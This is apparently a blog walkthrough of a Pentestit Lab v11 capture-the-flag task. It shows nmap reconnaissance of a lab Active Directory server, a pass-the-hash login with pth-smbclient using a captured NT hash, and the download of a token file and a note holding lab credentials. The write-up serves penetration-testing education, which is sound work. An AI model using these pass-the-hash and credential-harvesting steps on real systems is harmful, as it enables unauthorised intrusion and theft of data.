In my previous post “Pentestit Lab v11 - RDP Token (3/12)”, we footprinted the Office 2 subnet, utilized SSH tunneling to attain RDP access, enumerated and brute forced RDP username/passwords, utilized the MS16-032 Privilege Escalation Exploit, found a user password hash and found our third token. Today we will return back to the Main Office to utilize our newly found hash to compromise the AD Server, and the AD Token - which will include the following:

  • Footprinting the AD Server
  • Leveraging PTH (Pass the Hash) for SMB Authentication
  • Finding the AD Token

Footprinting the AD Server

If you recall back to my previous post, after we compromised the RDP Token we began to carry out some Post-Exploitation Intelligence Gathering and found a password hash for the user arm554. Now that we have a legitimate hash we can go ahead and attempt to go back and attack the AD server.

Looking at the Network Map we see that the AD Server is located in the Main Office using the IP of 172.16.0.10.

At this point I hope you didn’t close out your OpenVPN connection that we brute forced during Pentestit Lab v11 - Site Token. If you did, and forgot how to re-connect back to the Main Office, then I suggest you go back and read on how we accomplished that task.

Once you are connected back to the Main Office, let’s fire up Nmap and scan the AD server to see if there are any open ports that might be of interest to us.

root@kali:~/pentestit# nmap -A -sV -n 172.16.0.10

Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-17 22:08 CDT
Nmap scan report for 172.16.0.10
Host is up (0.46s latency).
Not shown: 983 filtered ports
PORT      STATE SERVICE            VERSION
53/tcp    open  domain             Microsoft DNS
88/tcp    open  kerberos-sec       Microsoft Windows Kerberos (server time: 2017-07-01 04:23:36Z)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
389/tcp   open  ldap               Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds       Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: TESTLAB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http         Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap               Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-U9CSMSIDNP7.Test.Lab
| Not valid before: 2017-06-29T06:47:11
|_Not valid after:  2017-12-29T06:47:11
|_ssl-date: 2017-07-01T04:25:44+00:00; -16d22h45m39s from scanner time.
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  ncacn_http         Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: WIN-U9CSMSIDNP7; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -16d22h45m39s, deviation: 0s, median: -16d22h45m40s
|_nbstat: NetBIOS name: WIN-U9CSMSIDNP7, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2f:9d:23 (Oracle VirtualBox virtual NIC)
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: WIN-U9CSMSIDNP7
|   NetBIOS computer name: WIN-U9CSMSIDNP7\x00
|   Domain name: Test.Lab
|   Forest name: Test.Lab
|   FQDN: WIN-U9CSMSIDNP7.Test.Lab
|_  System time: 2017-06-30T21:25:44-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   505.51 ms 10.255.0.1
2   505.54 ms 172.16.0.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 283.98 seconds

After reviewing the Nmap scan we that TCP/139 and TCP/445 are open, thus NetBIOS and SMB are currently open and accepting connections.

Now if we look toward the bottom of the scan we can see that Namp executed a smb script scan against the AD server, meaning that we are able to connect to the AD via SMB with user level authentication.

We already have the username/password for arm554 so let’s attempt to connect to the AD Server using smbclient with the username arm554.

root@kali:~/pentestit# smbclient -L 172.16.0.10 -U arm554
WARNING: The "syslog" option is deprecated
Enter arm554's password: 
session setup failed: NT_STATUS_LOGON_FAILURE

Unfortunately it seems we were able to connect, but the login failed - so maybe the password we had was bad?

Leveraging PTH (Pass the Hash) for SMB Authentication

Judging by the nmap scan, this is a Windows 2012 R2 Sever and it currently supports SMBv2. Since we know that arm554 is a valid user, and we found his hash on the compromised RDP machine, what we can do is attempt something called Pass the Hash, which should allow us to authenticate to the AD machine remotely without knowing the legitimate user’s password.

We can utilize this awesome tool called pth-toolkit to pass the hash via a smb client. If all goes well, we should be able to list the active shares on AD.

Let’s utilize the following command to do just that…

root@kali:~/pentestit# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 -L 172.16.0.10 \\\\172.16.0.10\\ 6361DEA164EE8FE91FE7B117FBC9CA5E
WARNING: The "syslog" option is deprecated
Domain=[TESTLAB] OS=[] Server=[]

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	files           Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
	Users           Disk      
Connection to 172.16.0.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available

Finding the AD Token

Awesome! So we were able to successfully list all the active shares on the AD Server via Pass the Hash! The share titled files looks interesting, so let’s go ahead and connect to it via SMB again and see what’s inside.

root@kali:~/pentestit# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 \\\\172.16.0.10\\files 6361DEA164EE8FE91FE7B117FBC9CA5E
WARNING: The "syslog" option is deprecated
Domain=[TESTLAB] OS=[] Server=[]
smb: \> ls
  .                                   D        0  Fri Jun 30 15:40:00 2017
  ..                                  D        0  Fri Jun 30 15:40:00 2017
  network_test.txt                    A      103  Fri Jun 30 15:43:19 2017
  token.txt                           A       14  Fri Jun 30 20:14:55 2017

		10395647 blocks of size 4096. 8167939 blocks available

smb: \>

Running ls via the smb client shoes us that there are two files in the files share, a network test document, and the token!

Let’s download those files to our computer so we can read them.

smb: \> get network_test.txt
getting file \network_test.txt of size 103 as network_test.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> get token.txt 
getting file \token.txt of size 14 as token.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Now from out Kali machine, we can read both files - let’s see what the network_test.txt files has.

root@kali:~/pentestit# cat network_test.txt 
Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter admin:77_GrantedSuperAdmin_77

Awesome! We got a username and password for the DIR subnet, as well as a hint! ARP-table… hmm, what could it be used for? A well, we will just have to save this and find out later!

Token (4/12)

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the AD sever via Pass the Hash!

You learn by doing, so go through this walkthrough, and the lab - and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (5/12) - The Director Token!

Updated:

Leave a Comment